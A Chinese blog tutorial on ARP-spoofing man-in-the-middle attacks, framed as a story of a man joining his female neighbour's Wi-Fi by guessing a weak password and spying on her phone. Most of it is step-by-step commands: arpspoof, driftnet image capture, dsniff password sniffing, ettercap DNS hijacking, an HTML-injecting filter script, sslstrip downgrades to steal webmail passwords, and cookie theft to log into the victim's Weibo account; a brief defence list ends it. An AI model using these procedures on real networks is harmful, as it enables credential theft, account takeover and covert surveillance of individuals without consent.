来自身边的安全威胁—ARP欺骗攻击

小黑是一个电脑技术爱好者,他每天爱做的事情就是宅在家中玩电脑。小黑的隔壁住着一个女生,刚搬来不久,小黑对她很是好奇,但是一直不敢和她搭讪,就想用自己擅长电脑技术,尽可能多的去收集信息了解她(情节需要,请勿模仿)。

小黑首先想到的就是连入她家的无线网,经过之前的了解,他已经知道了女生家中的wifi名称,然后尝试了弱口令登录,随便试了几下没想到真的通过验证了。(关于无线密码破解这部分内容将在后期详细讲述,这里只讲同一个局域网环境中的攻击,所以本文省略这个步骤。)小黑很高兴,省了不少步骤,心想这个女生的安全意识真的有待提高啊。
图片描述

了解网络环境

接下来小黑要先了解下自己的网络环境,首先他查看了自己的ip地址,自己现在的ip地址是192.168.1.132(小黑这里用的是ubuntu的Linux ,很多工具要自己装,在Kali上工具都是齐全的哦。)
![图片描述][3]

之后就是要看一下这个局域网中有哪些设备,那就用nmap扫一下吧
nmap -sP 192.168.1.1-254 也可以输入 nmap -sP 192.168.1.0/24
图片描述

看起来设备很多呢。192.168.1.1是网关,也就是女生家中的无线路由器。Dell应该就是电脑设备,其他几个设备好像都是手机。上面的信息中可以确定女生此时在家,但是这么多的设备,难道她们家来客人了?不过小黑清楚地记得,女生使用的是华为手机(也就是这次的实验的目标)。那目标的ip地址就知道了是192.168.1.106。
这里先看下ARP缓存表:
图片描述

刚开始ARP缓存表中没有192.168.1.106,这里ping一下之后再看ARP缓存表上就有了。
接下来,小黑就可以进行arp欺骗攻击了。

攻击原理

在小黑的记忆中,这种攻击手段也叫做中间人攻击MITM(Man-in-the-Middle Attack),算是一种古老的方法了,但仍有很多变种的中间人攻击是有效的,能够很容易地欺骗外行并且入侵他们。MITM攻击就是攻击者扮演中间人并且实施攻击。MITM攻击它可以劫持一段会话,称为会话劫持,可以窃取密码和其他机密,即使使用了SSL加密。

这里使用的arp欺骗也被称为arp缓存中毒,是在内网的MITM攻击。Arp投毒的实现过程非常简单,我们只需要欺骗目标机器使其确信我们的攻击主机就是它的网关,再伪装成目标机器与网关欺骗网关,这样所有的流量都会通过我们的攻击主机,我们就能截获目标机器与网关的通信数据了。网络中所有的机器都包含ARP缓存,它存储了本地网络中最近时间的MAC地址与ip地址的对应关系,我们要达成攻击目标的话就需要对这个缓存进行投毒。因为地址解析协议(arp)和arp投毒还涵盖了许多其他方面的知识,所以可以先了解下arp的原理及这种攻击如何在底层的协议中发挥作用。
图片描述

进行中间人攻击

接下来小黑就开始攻击了,先从收集女生手机上浏览的图片信息开始吧:
第一步:启用IP转发:
echo 1 > / proc/sys/net/ipv4/ip_forward
图片描述

第二步:使用arpspoof执行arp欺骗,毒化被欺骗者(192.168.1.106)
arpspoof -i eth0 -t 192.168.1.106 192.168.1.1
eth0是网卡的名称,我这里的是ens33,ifconfig可以查看。
将被欺骗者的流量重定向给攻击者,再由攻击者转发给网关。
图片描述

第三步:使用arospoof执行arp欺骗,毒化网关(192.168.1.1)
arpspoof –i eth0 -t 192.168.1.1 192.168.1.132
使网关的数据重定向到攻击者的机器。(流量由网关到攻击者再到受攻击者)
图片描述

关于第二步和第三步,可能会和具体的网络情况不同而出现偏差,请进行灵活的尝试。
第四步:执行drifnet,就可以捕获手机上浏览器访问的图片。
driftnet -i ens33
图片描述

不一会儿,就接收到手机上的图片啦。看来她此时在浏览有关汽车的东西。
Ps:还可以执行dsniff命令,捕获密码。
dsniff -i ens33
图片描述

此时处于监听状态,被欺骗手机上用浏览器访问ftp站点,输入用户名和密码后,攻击者主机上的dnsiff就能成功捕获。
虽然能看到图片(而且不是全部的图片都能接受到),但小黑想要的不仅仅是这些,他觉得还需要获得更多的信息。他又使用了另一个工具:Ettercap。

Ettercap

Ettercap是一个多用途的开源工具,可以用来执行嗅探、主机分析等。Ettercap可以使用GUI(图形)和CLI(命令行)模式。下面将使用Ettercap来讲几个关于中间人攻击的实例:
·中间人攻击,捕获图片。
·DNS劫持。
·替换HTML代码。
·使用sslstrip突破ssl加密,捕获密码。
·对目标之间进行ARP欺骗,捕获明文密码。
·进行cookie劫持,登录被欺骗者的腾讯微博。

1.中间人攻击,捕获图片。

(1) 执行ettercap命令,进行arp欺骗。
在攻击者的主机上执行如下命令
ettercap -T -M arp /(目标ip)// /(网关ip)// -q -i eth0
如果目标ip和网关ip不填写,则是全部监听。
-T:使用文本模式启动;
-M:使用中间人攻击,后面指定arp的攻击方式及两个目标;
-q:安静模式(不回显);
-i:指定监听的网络接口。
图片描述

(2)执行driftnet命令,捕获图片。
driftnet -i eth0
在被欺骗者的手机上用浏览器访问新闻页面。此时,攻击者的主机上就会捕获到新闻页面上包含的图片。
图片描述

1.DNS劫持
ettercap提供了很多有用的插件,在ettercao图形界面下(ettercap -G),依次选择“Plugins”->“Manage the plugins”,然后双击启动插件,插件启动后,插件名前会显示*号。
图片描述

(1) 编辑dns_spoof插件的配置文件
在kali linux下,ettercap的配置文件和脚本文件存放在/usr/share/ettercap/或/etc/ettercap/目录下。
编辑dns_spoof 插件的配置文件/etc/ettercap/etter.dns,在etter.dns文件中添加一条A记录,*号就是把任何域名转向192.168.1.136(本机ip),也可以填写特定的域名,比如www.baidu.com。这会造成被欺骗者输入任何域名都会转向攻击者定义的ip,这里是转到攻击机的ip。
图片描述

(2) 我们在我的的攻击机上(192.168.1.136)构建一个简单的页面。
在/var/www/html/ 目录中编辑index.html
图片描述

再启动web服务
/etc/init.d/apache2 start
浏览器访问192.168.1.136,显示如下,一个简单的hello。
图片描述

(3) 执行ettercap命令,进行DNS劫持。这次的目标是192.168.1.107,就是我的宿主机(windows),192.168.1.1还是网关。
ettercap -Tq -i eth0 -P dns_spoof -M arp:remote /192.168.1.107// //192.168.1.1/
图片描述

(4) 被欺骗者(192.168.1.107)访问百度首页
图片描述

域名已经被劫持了。
有的浏览器也可能出现服务器拒绝连接。
图片描述

3.替换HTML代码

ettercap 还有很强大的过滤脚本功能,通过使用过滤脚本,可以对捕获的数据包做修改(替换网页内容、替换下载内容、在网页中插入代码等),然后发给被欺骗主机。
(1) 编辑文件replace.filter
新建一个过滤脚本文本replace.filter,内容如下:

1.    if (ip.proto == TCP && tcp.dst == 80){  
2.        if (search(DATA.data,"Accept-Encoding")){  
3.            replace("Accept-Encoding","Accept-Rubbish!");  
4.            #note:replacement string is same length as original string  
5.            msg("zapped Accept-Encoding!\n");  
6.        }  
7.    }  
8.    if (ip.proto == TCP && tcp.src == 80){  
9.        replace("<head>","<head><script type="text/javascript">alert('HTTP数据包内容被替换');</script>");  
10.        replace("<HEAD>","<HEAD><script type="text/javascript">alert('HTTP数据包内容被替换');</script>");  
11.        msg("成功替换HTTP数据包内容!\n");  
12.    }  

注意:根据语法规则if和“(”之间一定要有空格。
该脚本可以替换HTML代码中的<head>,在网页上弹出提示框。
(2) 编译文件replace.filter
要使用这个脚本,还需要使用ettercap自带的编译工具把这个脚本编译成ettercap可以识别的二进制文件,使用如下命令编译,replace.ef就是已经编译完成的过滤脚本。
etterfilter eplace.filter -o replace.ef
图片描述

(3) 发动攻击
然后执行如下命令,发动攻击:
ettercap -T -q -i eth0 -F replace.ef -M arp:remote //192.168.1.107/ //192.168.1.1/
图片描述

图片描述

该脚本执行成功后,被欺骗者网页会弹出提示框。

4.使用sslstrip突破ssl加密,捕获密码

原理如下:
(1) 攻击者先进行ARP欺骗,使得攻击者能捕获被欺骗者的网络流量。
(2) 攻击者利用被欺骗者对浏览器地址栏中https与http忽略,将所有的https连接都替换为http连接。
(3) 同时,攻击者与服务器建立正常的https连接。
(4) 由于http通信是明文传输,攻击者能够轻易捕获密码。
第一步:开启内核转发功能。
echo 1 > /proc/sys/net/ipv4/ip_forward
开启内核转发功能保证攻击过程中被攻击者不断网。
第二步:执行iptables命令。
图片描述

把80端口的流量转发到sslstrip监听的10000端口上。
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
第三步:启动sslstrip
sslstrip -l 10000
图片描述

第四步:新开一个终端,执行ettercap命令,进行arp欺骗。
ettercap -T -q -M arp:remote //192.168.1.107/ //192.168.1.1/
第五步:捕获密码
被欺骗者登录163邮箱时,https被降为http,此时ettercap捕获就能捕获到密码。
但是现在的浏览器都能察觉异常,足够引起用户的怀疑了。
图片描述

5.对目标之间进行ARP欺骗,捕获明文密码

第一步:启动ettercap
打开终端,输入ettercap –G
依次选择“sniff”->“unified sniffing”根据自己的要求选择抓包的网络接口。
图片描述

第二步:扫描主机
选择“Hosts”->“Scan for hosts”
扫描完成后选择“Scan for hosts”,然后选择“Hosts list”查看扫描到的主机列表
图片描述

第三步:选择攻击目标
选择192.168.0.107,单机“Add to Target 1”,然后选择192.168.1.1,单机“Add to Target 2”
图片描述

第四步:明确攻击方式
依次选择“Mitm”->“ARP poisoning”->“Sniff remote connections”->“确定”。
告诉被欺骗者A(192.168.1.107)攻击者(192.168.1.136)是网关(192.168.1.1),使得被欺骗者A把所有数据流量全部发送给攻击者,然后抓包捕获密码。ettercap可以自动完成这些步骤,只要选好目标主机即可。

在被欺骗者(192.168.1.107)的终端模拟器中执行arp命令,这时可以看arp地址表,网关(192.168.1.1)MAC是攻击机的,arp毒化成功。

图片描述

第五步:开始监听
依次选择“Start”->“Start sniffing”开始监听。
第六步:被欺骗者用浏览器访问http://rpmfusion.org/,输入用户名密码。
第七步:攻击者主机,ettercap成功捕获了用户名和密码。
图片描述

6.进行cookie劫持,登录被欺骗者的腾讯微博

使用ettercap抓取被欺骗者的cookie从而实现cookie劫持,并登陆被欺骗者的腾讯微博。
第一步:构建工具

使用Firefox浏览器、Scripish或GreaseMonkey、Original Cookie Injector,构建一个可以在网页中嵌入Cookie的工具。

(1) 先安装GreaseMonkey或者Scripish,然后重启浏览器。
Scripish下载地址:https://addons.mozilla.org/zh...
GreaseMonkey下载地址:https://addons.mozilla.org/en...
(2) 再安装Original Cookie Injector,然后重启浏览器。
Original Cookie Injector地址:http://userscripts-mirror.org...“Install”安装。
第二步:扫描主机

在ettercap图形界面,依次选择“Hosts”->“Scan for hosts”,扫描完成后再选择“Hosts list”,查看扫描到的主机列表。

第三步:选择攻击目标
选择192.168.0.107,单机“Add to Target 1”,然后选择192.168.1.1,单机“Add to Target 2”
第四步:明确攻击方式
依次选择“Mitm”->“ARP poisoning”->“Sniff remote connections”->“确定”。
告诉被欺骗者A(192.168.1.107)攻击者(192.168.1.136)是网关(192.168.1.1),使得被欺骗者A把所有数据流量全部发送给攻击者,然后抓包捕获密码。ettercap可以自动完成这些步骤,只要选好目标主机即可。
第五步:开始监听
依次选择“Start”->“Start sniffing”开始监听。
第六步:在被欺骗着的主机上用浏览器访问腾讯微博http://t.qq.com,输入用户名和密码。
第七步:查看被欺骗者的网链接
“View”->”connections”,查看被欺骗者的网络链接。
图片描述

第八步:查看捕获数据包的详细信息,获得cookie
双击某个链接,查看捕获数据包的详细信息。把cookie:后面的字段复制下来。
图片描述

第九步:登陆腾讯微博。
在攻击者主机,访问微博登录页面,按”ALT+C”,弹出对话框,把cookie值粘贴进去,单击ok然后f5刷新页面,就能登录了。

以上几个实验在现在的浏览器上不一定能取得良好的效果了,但是新的变种攻击还是层出不穷,作为最接近身边的安全威胁(攻击者也可能远程操控局域网中的一台电脑),我们再一定程度上还是需要警惕的。

arp欺骗攻击的防范

那么我们在现实生活中怎么防止受到这类攻击呢?
(1) 在客户端使用arp命令绑定网关的IP/MAC(如arp -s 192.68.1.1 00-e0-eb-81-81-85)
(2) 在交换机上做端口域MAC地址的静态绑定。
(3) 在路由器上做IP/MAC地址的静态绑定。
(4) 使用arp服务器定时广播网段内所有主机的正确IP/MAC映射表。
(5) 及时升级客户端的操作系统和应用程序补丁。
(6) 升级杀毒软件及病毒库。

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值